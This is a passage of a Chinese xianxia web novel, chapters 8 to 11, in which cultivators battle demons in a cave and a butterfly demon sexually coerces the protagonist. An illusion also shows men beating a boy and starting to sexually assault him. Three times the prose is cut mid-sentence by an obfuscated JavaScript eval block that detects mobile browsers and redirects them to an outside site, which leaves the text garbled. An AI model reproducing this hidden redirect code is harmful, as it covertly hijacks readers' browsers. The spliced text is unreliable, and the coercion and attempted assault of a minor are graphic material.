又下了几级陡峭台阶,眼前现出一道长廊。
两侧石壁愈加潮湿,顶上还会滴水,发出细微的响,在地上积了一滩浑浊的水洼,空气中弥漫着令人作呕的腥臭。
而小岚忽然挣脱下地,一手拽着崔岫的胳膊往前去,另手指向尽头处,模样是按捺不住的兴奋:“快点快点,我爹娘就在里面哦。”
“慢些,慢些!”
大概是不屑伪装了,崔岫身长八尺,快二百斤,竟被她拽得踉跄。
众人只得跟着往前,只见尽头处是一间宽敞石室,里头竟陈列着数十副石棺。
但棺材板并未盖紧,歪歪斜斜,露出足够宽敞的部分,像是里头会有什么东西爬出来。
而最前方的小岚终于停下,身体不动,头颅却转向身后,脖颈扭出数道肉褶。
她微笑起来,两只乌黑眼珠毫无规则地乱转,嘴角咧到耳侧,喉里发出一阵刺耳的嘶声。
紧接着,周遭响起石板摩擦碰撞的声响。
是棺盖被推动的声音。
8.第 8 章
众人闻声侧头,只见石棺中伸出一只只皮肉瘦削的青紫色人手,似中毒般指甲漆黑锐利,用力扒着石棺边缘。
随后,棺盖轰隆落地,里头的“尸体”一个个坐起身,齐刷刷转向他们。
面色惨白,五官模糊溃烂,数不清的蛆虫自脸上的孔洞钻进钻出,脖颈青筋暴突,扭出数道肉褶。
而小岚飞上半空,两条麻花辫自动解开,头发不断生长,凌空乱舞,本是凡人之躯,此刻周身妖气浓烈暴动。
它放声大笑起来,声音尖锐,似能穿破耳膜:“好哥哥好姐姐们,我的‘爹娘’快要死了,求你们救一救吧!”
话音未落,不等他们反应,尸体们迅速爬出棺材,猛地向他们飞扑。与此同时,石室角落钻出毒虫,潮水般汹涌,密密麻麻一片。
什么这里有药材,他们才是药材!
“小心!”
众人纷纷召出武器,戒备退后,但魔音穿耳之下只觉头疼欲裂,灵力运转更加滞涩,失了先机。
谢妄之眉目一凛,出手如电,一圈寒芒闪过众人身侧,离他们最近的尸体当场被斩下双手,紫黑色的液体喷溅半空。
随后,只闻见铮然琴声响起,空气猛然荡开一圈无形涟漪,队中女修抱琴在怀,素手弹拨,几下便破了小岚的魔音障。
众人只觉耳畔恢复清明,甚至获得某种增益加持,很快恢复战力,与再度扑向近前的邪物厮杀在一处。
而谢妄之瞅准小岚,身影如虹闪至对方身侧,提剑便刺!
他出手太快,小岚反应不及,一下被他刺中咽喉,却并未如期当场毙命,还转过脸看谢妄之,咧了下嘴角:“你修为很高,我盯了你一路。但很可惜,你杀不死我。”
“是么?那你未免太自信了些。”
谢妄之嗤笑了声,握着剑柄狠狠拧动,锐利剑尖几乎快把对方的脖颈搅成一滩烂泥,血液喷溅三尺。
而小岚仍嬉皮笑脸地看着他,本是天真可爱的一张脸,此刻沾了大片鲜血,狰狞可怖、妖异非常:“我很喜欢你这具身体,送给我玩玩吧。”
它狞笑着,双手握住谢妄之的剑,皮肤逐渐冒出丝丝缕缕的黑雾,顺着剑身潮水般涌向谢妄之。
辨不出黑雾底细,谢妄之谨慎抽剑后退。而小岚紧追不舍,脖颈几乎扭断,头颅歪斜挂在肩膀,垂坠的乌发再度暴涨,如蛛网般铺天盖地向他包拢。
谢妄之方挥剑斩断长蛇般的头发,身后又有数具尸体嘶吼着冲他奔袭,黝黑的细长指甲快要刮上他的肩膀。地上一堆毒虫也靠近了他,触角与口器亮起锋锐的寒芒,猛地扇动双翅飞扑。
他眼眸微眯,还未动作,一瞬间,周身忽亮起一道光芒,似有屏障助他阻拦邪物攻势。那些东西如同浸入水中,空气泛起圈圈涟漪,难近他半分。
谢妄之一怔,随即迅速挥出冰寒剑气掀飞近身的毒虫,又反手斩下一具尸体的头颅。
那具尸体立时僵直,自脖颈断裂处喷涌出鲜血,露出一条乳白色的虫豸,扭动挣扎着往下钻入脊椎,僵直的尸体瞬间又“活”了过来,继续发动攻势。
崔岫护着几名不擅长近身作战的队友,提着大刀,浑身浴火,燃着烈焰的雄狮不断扑咬着邪物。眼角余光瞥到谢妄之这处,吼了声:“谢兄,怎么样了?”
“死不了。”
谢妄之随口应了句,手腕翻转间寒芒阵阵,铺天盖地的发网瞬息碎成齑粉,接着瞅准机会,闪身到方才那邪物的背后,猛地刺出一剑,再向上一挑。
剑尖入肉,只见刚刚钻出的那条乳白色虫豸被猛地挑飞,落在地上疯狂扭动挣扎,转瞬被漆黑的虫潮吞没,分食干净。
而那具尸体也应声倒塌,与那条虫子一般,浑身皮肉都被虫潮啃噬,连骨头都没剩下。
“小心虫子。”
谢妄之立即提醒队友,散出灵力护体逼退虫潮,又依法炮制解决几具尸体,向着小岚飞身攻去。
几名队友修为都不低,彼此相熟、配合默契,并不需他支援。橙黄符箓漫天飘飞,连环炸出几朵金色巨浪,与冲天火光一齐将邪物烧了个干净,让他能专心应付大妖。
很明显,小岚不是谢妄之的对手,头发被斩断后几乎失去战力,撑不住几个回合,开始向谢妄之讨饶:
“是小妖有眼不识泰山,求仙长高抬贵手,小妖愿意继续带你们去找宝贝,但求仙长饶过小妖一命!”
谢妄之没应,举剑指了指那些会动的尸体,冷声问:“这些哪里来的,抓那么多人做什么?”
“是、是从前被小妖骗来的……”妖物跪在地上,面上乖巧答话,却暗自掐诀作势逃跑。
但谢妄之速度更快,一道剑光闪过,掐诀的两只手被整齐切下。
“司、司尘救我,救我!”
接着,不知它看到什么,忽然惊恐地大叫起来,也不知在喊谁。
眼珠滴溜溜乱转,像是要顺着垂坠的头颅从眼眶里掉出。身体剧烈颤动,冒出丝丝缕缕的黑雾,尽数往一个方向去。
谢妄之微微眯眼,怕生变故,毫不犹豫地又赐它一剑。
大团黑气立时从它身体涌出,在石室上空疯狂乱窜,疯狂尖叫嘶吼,躲避什么似的。
谢妄之还未出手擒住那团黑雾,只见一抹白影闪过,像是把它吞噬了,黑雾瞬间了无踪迹。
看到白影,他立时想到前几日见过的池越,下意识去找池无月的身影。
却见对方安安静静待在不远处,分明修为不高,打起来时他也没顾上,但少年看上去却是衣着整洁,毫发无伤。
崔岫处理完剩下的尸体,躲避着满地虫潮走过来,摸着自己鼻子讪讪道:“谢兄,还得是你。要不是你在,我们都被它骗惨了。”
“它倒也不是完全无用。”谢妄之微微勾唇。
“那是因为你……算了,没什么。”队里另一个男修撇嘴。
五大世家几乎垄断修仙界所有资源,普通散修甚至不能自由出入秘境历
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14625344|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
练,修为普遍不及世家子弟。
他们若是遇上这样以天材地宝为诱饵的妖物,根本没命去取。而人心都是贪婪的,谢妄之一行也不例外。
至于最初的什么给家人寻找救命药材,不过是妖物接近他们的手段借口,若他们不上当,没准便换套骗术再来。
几人搜刮了石室,可惜没找到什么宝贝,正要遗憾离开,整座石室忽然剧烈摇晃起来。岩壁寸寸龟裂,呈蛛网之势向四周绵延,头顶不断有落石砸下。
“糟了,这洞穴不会要塌了吧,快跑!!”
崔岫吼了声,众人一怔,赶忙向外飞奔。
而恰在此时,稍微退去些的虫潮竟再度汹涌,拦住众人的去路,几人另择方向,却有一块巨石轰然砸下。
而虫潮几息间便逼至眼前,目之所及一片漆黑,交叠、翻滚,密密麻麻,见识到虫子啃噬尸体的速度,众人不约而同面色凝重。
谢妄之眼眸微眯,挥剑逼退虫潮,观察着四周寻找其余出路,忽听身后一阵轰然声响。只见一块巨石正正好从他们头顶砸下,硬生生将队伍分隔开来。
崔岫举刀重重一劈,把巨石拍得粉碎,沉声道:“这样下去不是办法,看来我们只能与这些虫子拼一拼了。”
其余人没有异议,他便大吼一声冲出,大刀再度燃起火焰,烧焦了一片,却很快又有新的虫子填补。
众人以进为退,一边躲避落石,一边向虫子涌来的方向去,连片的爆破声与铮然琴声在空旷洞穴中回荡。
等到他们穿过一条石廊,逼近某处,虫潮攻势猛然激烈,发出刺耳嘶声,似在阻挠他们前进。
众人也有所察觉:这些虫子在守护着什么东西。
又往前一段,眼前赫然现出一个巨大的妖物巢穴。
由成千上万条雪白细丝编成一个硕大无比的吊篮,连着四面的石柱,高悬半空,发出炫目圣洁的白光,仿佛一颗夜明珠,湿润石壁都被映得透亮。
其下是一片密密麻麻的雪白虫卵,不停蠕动着,似要孵化出来,比来时路遇见的虫子还要多。
进入巢穴之后,虫潮不再向他们逼近,而是徘徊于门口,似乎在惧怕着什么。
“吵什么?”
只闻一道清泠嗓音传来,似新雪落地,在洞穴中回荡,空灵圣洁。
众人屏息,抬眸看向空中的吊篮。
一条光洁手臂探出,扶着吊篮边缘,里头的人缓缓坐起身,露出一张漂亮得雌雄莫辨的脸。
银发金瞳,肤白胜雪,眼尾爬着细密繁复的花纹,两根细长的白色触角从额头探出,末梢点缀两枚冰晶,熠熠生辉。
紧接着,那人站起身,脊背竟生着一对宽大的透明蝶翼,流光溢彩。足尖一点,轻轻振翅飞起,似仙人一般从空中吊篮缓缓落到众人面前。
扫视一圈后,对方赤足走到谢妄之面前,纤长指尖轻划过他的脸,微微笑了一下,轻声道:“岚儿倒是学聪明了。这次的贡品,还不错。”
9.第 9 章
面前的蝶妖生得如同天仙一般,众人不由自主屏息,好一会儿才缓过神。虽从对方嘴中听见小岚的名字,但见对方并未显露恶意,便也按兵不动。
谢妄之蹙眉拍落蝶妖的手,本想说什么,但对着那张漂亮的脸,又咽回肚里,只道:“你就是司尘?贡品又是什么意思?”
“……”池无月微微眯眼,双手掩在袖中紧攥成了拳。
蝶妖颔首,但笑不语,又轻轻勾了勾手,示意谢妄之附耳过去,清澈双眸似把淡金霞光笼在其中,令人不由自主沉沦。
“公子,小心……”
池无月下意识转眸去看谢妄之,却见对方薄唇紧抿,似在思量,甚至有些动摇,不由伸出手想扯一下对方的衣袖,半途却又把指尖缩回。
在看到谢妄之当真凑上前去时,他不由垂下眼睑,顿了会儿又抬眸看去。
只见二人凑得极近,谢妄之微侧过头,蝶妖倾身附在他耳边,红唇翕张时竟能触到谢妄之的耳廓。不知有意还是无意,蝶妖说着忽然掀帘睨他一眼。
不知蝶妖说了什么,片刻后,谢妄之陡然睁大眼,猛地后撤退开,高扬起手,脸颊与耳廓染上薄红。
“……做梦,滚。”
谢妄之咬牙切齿,这一巴掌到底没落下去,丢下一句转身欲走。
未想司尘扇动蝶翅,轻盈优雅地落到他面前,伸手阻住他的去路,微微歪头疑惑道:“为什么?是因为我不够美么?”
“什、什么,这还不够么?”崔岫惊奇挑眉,“谢兄,它到底跟你说了什么呀?为什么你忽然要走?”
司尘淡然开口:“季节到了。”
“……呵。”谢妄之冷笑,狠狠剜了眼对方,声音像是从牙缝里挤出,“如果你想亲眼看着一堆虫子喊你爹,那你就留在这吧。”
“噗!哈哈哈……”
队友们怔了一下,很快明白过来是什么意思。两位女修微微脸红,崔岫则是毫不客气地笑出了声。
池无月面色陡沉,眼神愈加幽暗。
“……”谢妄之羞怒交加,撇开众人自顾往外去。
司尘却又将他拦住,善解人意地微笑道:“我知道了,你定是害羞,嫌弃这里人多。虽然我不介意,但我可以听你的。”
“你!你别放屁!”
从来都是他羞辱别人的份,那轮得上别人这样调戏他?谢妄之恼羞成怒,怒不可遏,竟把教养都抛之脑后,召出随心握在手中。
不等他给对方一点教训,司尘我行我素,猛然振翅飞到半空,抖落晶亮磷粉,而后舒展双臂,开始翩跹起舞。
银丝如瀑倾泻,仿佛能感觉到水珠喷溅脸上的湿润,织金纱衣随身形旋转,如花一般盛开。巨大的雪白吊篮在他身后高悬,投落乳白华光,似是为他量身而设的舞台。
众人神色一怔,下意识抬头看仙子献舞,目光不由自主追随着那抹梦幻蝶影,浑然不觉自己竟是中了蝶妖的幻术,沉沦在美梦之中,眸光痴迷涣散。
而幻境之外,现实中的众人则是昏睡在地,谢妄之顾不得把队友摇醒,又被司尘缠住,终于忍不住拔剑,猛地刺向对方面门。
“我已经听你的做了,你为何还是不同意与我交/尾?”
司尘蝶翅微振,轻飘飘避开,又凑在谢妄之耳边轻轻吹气,逗弄似的微微笑着,眼神却清澈无辜。
“别废话!”
谢妄之冷笑了声,侧身避让,又迅速回身,锐利剑尖擦着对方的绚丽蝶翅刺了过去。
一击不中,他正要再出一剑,司尘恍然大悟似的忽然“哦”了一声,语出惊人:“难道你不能人——”
“你!寡廉鲜耻,闭嘴!”
谢妄之睁大眼,猛然打断对方,面色青红交错,出招愈加凶狠,却次次都被蝶妖轻而易举躲了过去,渐渐觉出不对来。
就算秘境强制将他的修为压到元婴以下,他现在至少也是金丹大圆满,对付区区一只蝶妖怎这般费力。
就在他分神思索的刹那,司尘的身影倏然在他眼皮子底下消失。
他立时收剑停住,屏息戒备四周,却自身后猛然伸出两条细长藕臂,一下圈住他的腰,一股大力带着他冲天而起。
耳畔风声消弭,视野陡然模糊,只感觉到鬓发被吹乱,只是眨眼,他已身处悬在高空的巨大吊篮中。
而司尘正站在他身后,双臂箍着他的腰,脸颊陷进他的颈窝里,用额头伸长的触角来回蹭他,姿态亲昵,在他耳边低声道:“没关系,你若是不能,换我来也是一样的。”
“……呵。”
男性尊严再度遭到挑衅,谢妄之气笑了,五指攥住腰间的手臂,猛然收紧,用力得指骨咔哒作响,手背浮起青筋,瞬间把人雪白皮肤抓出一片青紫。
他咬牙切齿道:“你怎知我不能?给我放开!”
“放心,他们一时半会儿不会醒,我们要现在试试么?”
蝶妖被他弄疼也不恼,还以为终于得他首肯,低头在他后颈落了一吻。
脖颈处传来湿润酥痒的触感,谢妄之忍不住往前倾身一躲,气到极致,反而冷静下来。
他道:“我想看着你的脸。”
对方落在颈侧的呼吸微微一滞,随后将脸颊埋入他颈窝,顿了会儿才又抬起头,轻声追问:“你喜欢么?”
谢妄之深吸口气,耐着性子哄道:“怎会不喜欢呢?”
似乎把人哄高兴了,蝶妖终于将他松开。
而谢妄之等的就是这一瞬的松懈。
他暴起发力,将蝶妖反剪双手压在膝下,用全身重量压迫着对方的脊背,一手扣紧对方两只手腕,另手握着剑狠狠向下一刺!
锐利剑尖毫不留情穿透蝶妖垂顺的翅膀,死死钉在了地上。
“唔嗯——”
身下人猝不及防,喉里溢出声短促痛呼,未被剑尖钉住的那一半蝶翅不住翕张颤抖,最后又乖顺地垂落,舒展着贴在地上。
对方微喘着气,额头被迫贴在地上,触角也被挤压得蜷曲,又向他这处侧过脸,委屈地控诉道:“你不是说喜欢么,怎么能骗我?”
“呵,那你身为妖,难道就没有骗过别人么?”
谢妄之冷笑着收紧力道,居高临下地看着对方那张脸。
吊篮内部铺着一层厚厚的羽毛,雪白光洁,触感柔软。蝶妖的脸便陷在其中,银发铺散,几相映衬,愈发显得肌肤莹润,眼尾的花纹折出斑斓色彩,瑰丽无双,叫人目眩神迷。
未想到蝶妖轻轻摇头:“我不骗人。”
“……”
谢妄之沉默,忽然有种自己在欺负人的错觉。他继续施力,冷声道:“让他们醒过来。”
“不行。”蝶妖还是摇头,语气坚定,“我们还没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630379|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有交/尾。”
兜兜转转,竟又绕回这个问题。
“好啊。”谢妄之气笑了,微抬下颌,压低嗓音开口,语气恶劣,“你的翅膀很漂亮,把它割下来给我,我就答应你。”
“……”
大概是没有料到他会提出这样过分的要求,蝶妖沉默下来,额头触角微微颤动,嘴唇抿成了一条直线。
其实谢妄之也只是想让对方知难而退,见人犹豫,嗤笑了声,又重复道:“让他们醒——”
没等他说完,蝶妖轻声问:“那你会喜欢我么?”
“……什么?”谢妄之怔了一下,忍不住蹙眉。
对方挣扎着想要抬头看他,淡金眼眸似盛着两池秋水,眸光潋滟,又轻声重复:“若是我将翅膀送你,你能喜欢我么?”
“什么喜欢不喜欢的。”谢妄之眉头蹙得更深,“你非得别人喜欢你么?”
“……”蝶妖沉默下来,长睫低垂,嘴唇微抿,模样看起来有些委屈,过会儿才小声辩驳:“他们只喜欢我的翅膀,我不是一直都有翅膀。”
闻言,谢妄之忽然反应过来,要破茧才能成蝶。
虽然对方并未明说,但他似乎也能想象到,在拥有翅膀以前,蝶妖过着什么日子。
但这与他无关。
谢妄之冷漠道:“我不想要你的翅膀,也不会同意与你交/尾。若你再不让他们醒来,我不介意让你失去这对翅膀。”
“哈哈,哈哈哈……”
空气沉寂半晌,身下人忽然耸动肩膀,竟是大笑起来,周身妖气暴动。
谢妄之暗道一声不妙,来不及收势撤开,那一半蝶翅猛然扇动,竟将他一下掀飞,后背猛地砸在吊篮边缘,又脸朝下地摔进柔软的羽毛垫里。
不等他挣扎着爬起来,眼前先后落下两只赤裸的足。
趾甲修剪圆润齐整,脚背肌肤莹润细腻,黛青色的纹路鲜明清晰,向上蔓延,踝骨微微突出,看上去纤细而脆弱。
一股怪力拉扯着他的后领,将他整个人狠狠往后一掼,脊背再度砸在吊篮边缘,后脑被撞得晕眩,视野都跟着变得朦胧。
他勉力睁开眼,只见面前笼下一片淡金色的阴影,司尘浮在半空,俯身凑近了他。
一只手抚上他的脸颊,纤长指尖沿着颌骨缓慢往下滑动,掠过脖颈,最后停驻在他的胸口,往里轻轻一点,压低嗓音道:“谢妄之,你好狠的心啊,弄得我好疼。”
“呵。”谢妄之冷笑了声,“我方才就该直接割下来,呃——”
话音未落,对方面色陡沉,随即猛地伸手掐住他的脖颈,五指用力收拢,迫使他挣扎起来,尽力张大了嘴呼吸,口涎无法抑制地淌出嘴角。
“是因为你有心上人,所以才拒绝我么?”
司尘倾身凑近他的脸,头顶触角轻轻颤动,末梢点缀的冰晶折出斑斓的光,红唇微张,温热吐息尽数喷洒在他面上。
方才被他用剑尖穿透的蝶翅竟完好无损,向前包拢,宽大得能阻住他所有去路,似是两道透明的围墙。
谢妄之疯狂挣扎着,双手按住对方的手臂,又尽力想召唤被甩飞的随心。可惜他们修为差距太大,对方将他压制得彻底。
他没仔细听对方说了什么,但蝶妖自顾把话接了下去:
“是叫池无月吗?若是当着他的面,会让你更兴奋吗?”
10.第 10 章
与此同时,在池无月的幻境中。
雨后初霁,一名少年踉跄着冲出小巷,不幸跌倒,被后头追上来的几个男人抓住后领,一把拖了回去。
“跑!老子让你再跑,跑啊!”
“你娘是个婊子,她生下来的野种也是个天生被人骑的命!”
少年身形瘦削,十来岁的模样,对上几个体格高大健壮的成年男性毫无反抗能力,被抓着后领狠狠朝墙上一掼,脊背与后脑撞上坚实围墙,发出“咚”一声沉闷的响。
头脑晕眩,耳畔一片嗡鸣,脆弱的腹部又被男人狠砸了一拳,一口鲜血猛地冲出咽喉,身体僵了一瞬,又靠着墙缓缓滑下,跌坐在地。
他咬紧牙关忍住痛,挡在额前的头发忽被人一把薅住往后拽,迫使他昂起头、露出脸,一口唾沫星子随之喷在他脸上。
而面前的男人在看清他的脸后表情一怔,随即转头与后面的兄弟对视一眼,猥琐地嘿嘿笑了两声,大手抓着他的下巴粗鲁轻慢地来回转了两下,咂嘴点评道:
“啧啧,早听说这小蹄子生得不错,原来长这么漂亮,难怪那女人说什么都要我们把他抓回去。”
“这小子也太能跑了,”另一个男人啐了一口,长得贼眉鼠眼的,嘿嘿笑着搓了搓手,“哥几个费这么大劲,不如……?”
“这……”同伙很快明白他的意思,犹豫了一下,谨慎地看了看四周,但最终是由下半身做了决策,“算了,反正他一个男的,不留痕迹就行。”
少年面无表情听着,眼神骤然凶狠,趁其不备忽然张嘴在男人虎口上狠狠一咬,直咬出血,趁对方痛得猛甩手时又站起身往出跑。
“狗娘养的,敬酒不吃吃罚酒!”
男人们臭骂着围追堵截,很快又重新抓住他,连抽了他好几个巴掌,又迫使他跪在地上,伸脚踩着他的足踝,扯着他的头发。
少年被迫仰起脸,疯狂挣扎着,只见天上又下起雨,透过细密雨丝,他看见身前的男人动手除去裤腰带。
下裤滑落的瞬间,周遭一切忽然像是冻结般静止,连落下的雨珠都悬停在半空,晶莹圆润的模样。
面前的男人也莫名停住,维持着同一姿势,惊恐叫道:“谁、是谁!”
巷口一人踏着雨水而来,却似踩在薄冰,发出细微清脆的声响,引得少年侧头去看。
只见是一名锦衣公子抱臂走近,身边浮着一把冰蓝色的长剑,散出凛冽洁白的华光,每走一步,地面积水便结出一片冰。
“你们脏了我的眼睛。”
“既然管不住,那也不必要了。”
锦衣公子低声开口,也不知做了什么,足下冰面瞬息蔓延至几个男人身前,顺着他们的双腿攀缘向上,将整个下身冻结。
一道剑光闪过,几块细小东西落地,男人们惨叫出声。
而锦衣公子自顾走远,看也未看少年一眼,似乎只是路过。
池无月挣脱束缚飞快追了上去,还踉跄着在人身后跌了一跤。
本想伸手捉住对方一片雪白衣角,却在看到自己满手污浊时又怯懦地缩回来,细弱沙哑地喊了声:“请、请您等等……”
他以为对方听不到,未想面前人站住脚,向他回过身。
一只金线滚边的靴履抵住他的下颌,轻轻向上一抬。
他的目光顺势往上,却只看见一痕浅淡勾起的嘴角:
“本公子身边不养废物,你除了一张脸能看,还会做什么?”
*
池无月到底还是留在了谢妄之身边,做对方的奴隶。
说是奴隶,谢妄之却待他极好,供他吃穿用度,时时将他带在身边,兴起时还手把手教他修炼。
他也不需做什么粗活儿,每日都过得比从前好上百倍千倍,连普通的下人都要高看他一眼。
谢妄之总爱逃课,每次与教书先生争执,总爱拉他出来:“你教的太简单,随便牵条狗出来都会,有什么好听的?”
于是压力转移到池无月身上。
幸好谢妄之教过他剑法,平日的抄写作业都由他代劳,先生考他什么,他答什么,全部都对,把先生气得吹胡子瞪眼。
可惜谢妄之身边的朋友不太喜欢他,总是叫谢妄之将他赶走。但谢妄之从来没应。
他很喜欢这样平和的日子。
谢妄之快及冠那年,家中开始张罗他的婚事,安排好几位才貌双全的女修与他相看。但谢妄之通通拒绝。
后来有一日夜里,他忽被谢妄之喊到房中。
对方似乎喝醉了酒,懒散靠着桌案,支着头,勾勾手指叫他过去。
他依言凑近,陷在那双寒星般的眼里,任由对方伸出手,用温热指腹细细描摹他的眉眼、鼻梁与嘴唇,指尖轻划过他的下颌,在他不住上下滚动的喉结轻轻一点。
他感觉到一种难以言喻的热与燥,从对方指尖轻触的地方向全身蔓延。
直到被对方攥住,他忽然惊醒,猛地后退,仓皇逃跑。
他告了病假,连续多日不敢看对方一眼,直到余热褪尽他才敢出现。
正见到谢妄之与他的朋友待在一处。
僻静树荫下,两人靠在一起,似乎刚比完剑,气息不稳,脸颊微红。
一见到谢妄之的脸,才褪下的热又漫上脸颊。他慌忙躲了起来,却又不舍得离太远。
只听见一阵细微粘稠的水声之后,朋友忽然问起池无月。
谢妄之微喘着气,嗤笑了声,漫不经心道:“一条狗而已,玩玩罢了。”
*
幻境之外,司尘掐着谢妄之的脖颈,将他抵在吊篮的边缘,身后蝶翅向前包拢,把人堵得严严实实。
直到谢妄之难受得胀红脸,司尘才略略松手,看着人捂着喉咙拼命咳嗽,却没耐心等人把气喘匀,单手掐着对方的下颌,迫使人昂起头,随即倾身攫住那张薄唇。
吻不到半刻,连唇齿都未及撬开,谢妄之抓住他的头发,毫不留情往下大力一扯。
“当着他的面?”谢妄之看着他冷笑,五指愈加用力,“你别让我恶心。”
头皮传来一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643473|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阵刺痛,司尘被迫后仰,面色却不见恼,还愉悦勾起唇:“那我更喜欢了。”
说罢又低下头。
谢妄之迅速偏头避开,却令对方的吻落在他耳后,酥麻更甚。
几番追逐之后,司尘略胜一筹,恋恋不舍退出,呼吸紊乱粗重,却仍贴着对方的唇。
正欲用蝶翅再把人拢进怀中,靠得再近些,身后忽传来破空声响,本能的危机感令他下意识松开谢妄之。
下一刻,只见一柄利剑猛钉在他方才站住的地方,冰蓝剑身散出凛冽寒气,趋人退避,随后又被谢妄之握在掌中。
“倒是我小瞧了你。但是你越反抗,我越喜欢。”
他怔了一下,又笑起来,盯着那张覆了层水光的唇,只感觉意犹未尽,不由伸手轻触了触自己的唇瓣,抹去一缕粘稠水丝。
而谢妄之见状,眼神一凛,眉头压得更低,招呼都不屑打,提剑便刺。
司尘振翅避开,尝到甜头后令他变得急躁,没有耐心再与谢妄之周旋。
素手一招,织成吊篮的雪白细丝如潮水一般向谢妄之汹涌。
谢妄之提剑便砍,未想细丝柔韧至极,剑斩不断,只好飞身避开,左躲右闪。
可吊篮巨大,细丝不知几何,铺天盖地,叫他无处潜逃,甚至令他渐渐慌不择路,反自己绕进圈里,被困在雪白的漩涡之中,被裹成一个巨大的蛹。
而白蛹之内,他四肢被缚,连挣扎都不能。
司尘勾手将蛹扯到自己身前,指尖拨开层叠细密的丝线,探了进去。
谢妄之瞳孔颤动睁大,强忍着快将嘴唇咬破,耳廓红得滴血。
“既然没有心上人,何不从了我?”司尘低笑起来,动作不停,“我也能令你欢愉。”
“……”
谢妄之呼吸渐沉,忍不住闭上眼,快将银牙咬碎。
下一刻,身上桎梏猛然松开,他从半空坠入柔软的羽毛垫,忙起身整理好衣襟,这才顾得上抬头看向四周。
却见周遭如夜色降临般昏暗,浓稠的黑雾铺天盖地,将雪白细丝侵蚀,巨大的吊篮在几息间瓦解。
他踩在剑上抬头,只见不远处,一白一金两道身影缠斗激烈。
片刻,蝶妖猛地从天空坠落,强大气劲掀飞了底下密密麻麻的白卵,近乎一扫而空。
而另一道白影紧随其后,脊背源源不断钻出浓稠黑雾,凝成实质,化成两只兽爪,紧紧掐着蝶妖的脖颈。
谢妄之神色一怔,忙跟着落了地。
司尘的视线立即黏在他身上,虽被掐着要害,面色却不慌不忙,还微微勾着唇,道:
“尽管杀了我,我若是死了,他们可就得一辈子都困在梦里了。”
“你!”
谢妄之立即蹙眉,拳头捏得嘎吱作响。最终还是咬牙切齿道:“池无月,将他放开。”
但池无月毫无反应,乌发倾泻,发尾如云飘动,几乎融在雾里。双眸黑沉如墨,不仅侵占眼白,甚至快要溢出眼眶。脸侧的梅花开得热烈,几乎沁出鲜血。
11.第 11 章
池无月不肯罢手,而司尘还在挑衅:“谢妄之,他这样不听话,你还要把他留在身边吗?为何不将他,唔——”
他这话彻底激怒池无月,话未说完,神色陡然痛苦起来。
浓稠黑雾蔓延向他绚丽的翅膀,刻意折磨一般,缓慢地从边缘一寸寸向内侵蚀。
蝶翅猛然急剧扇动,尽管飞到半空,仍挣不出牢笼,本该流光溢彩,此刻逐渐黯然失色。
“谢妄之,我好疼……”
司尘双目紧盯着谢妄之,疼得眉心紧蹙,却强牵起笑,虚弱地轻声唤他。便是如此,容色不减分毫,脆弱得叫人心生怜惜。
“……”谢妄之顿了顿,又沉声开口,“池无月,没听见么?”
见人还是没反应,他索性大步上前,径直抓住黑雾试图扯开。
未想抓了个空,他的手掌直接穿了进去,陷在雾气里,似陷入一潭泥沼,触感湿润粘稠。
不适感令他又将手掌拔出,却感觉到一股奇异微妙的阻力,指尖似是被雾气缠住,含着吸吮,湿黏感更甚。
他蹙眉,侧头去看池无月。
却见对方脸上爬满黑色的细丝,蛛网般从眼眶边缘向外蔓延,像虫子一样微微蠕动。脸侧的梅花也被覆盖,似蒙了尘。
不知为何,此刻那些细丝又慢慢缩了回去,直到退回眼中。与此同时,缠着司尘的黑雾也缓慢松开,退回体内。
蝶妖从空中坠下,如落雪般轻盈。身后蝶翅似被烈火烧灼,几乎损毁大半,无力地垂顺在地,却更有一种颓靡的凄美。
谢妄之毫不怜惜地踩上蝶妖残余的翅膀,单膝跪地,伸手掐着对方的下颌抬起,冷声道:“令他们醒来。”
“好啊。”对方顺从地昂起头,双颊红润,淡金眼眸含着水光,湿润柔软,“不过,我有一个条件。”
谢妄之蹙眉:“什么?”
司尘勾唇一笑,手掌轻落在他小臂,指尖立着,缓慢顺着往上摸,直到覆住他的手背,把自己的脸颊送进他掌中,“你要带我走。”
黑雾又钻出,丝丝缕缕弥漫四周。
谢妄之怔了一瞬,随即冷笑了声,反手扣住对方手腕,眉峰微挑,“怎么?你也想做我的奴隶?”
蝶妖微微一笑,不置可否:“想必你也感受到了,此间与外界不同。你们擅闯进来,没有我的帮助,是出不去的。若是不信,大可试试。”
“……”
确实如对方所说。
灵芜谷秘境将他的修为强制压到元婴以下,秘境里头的所有,境界也必然不超过元婴。
但此处的蝶妖不同。这似乎可以说明,这里是独立于灵芜谷秘境之外的空间,或是存在某种特殊的禁制。
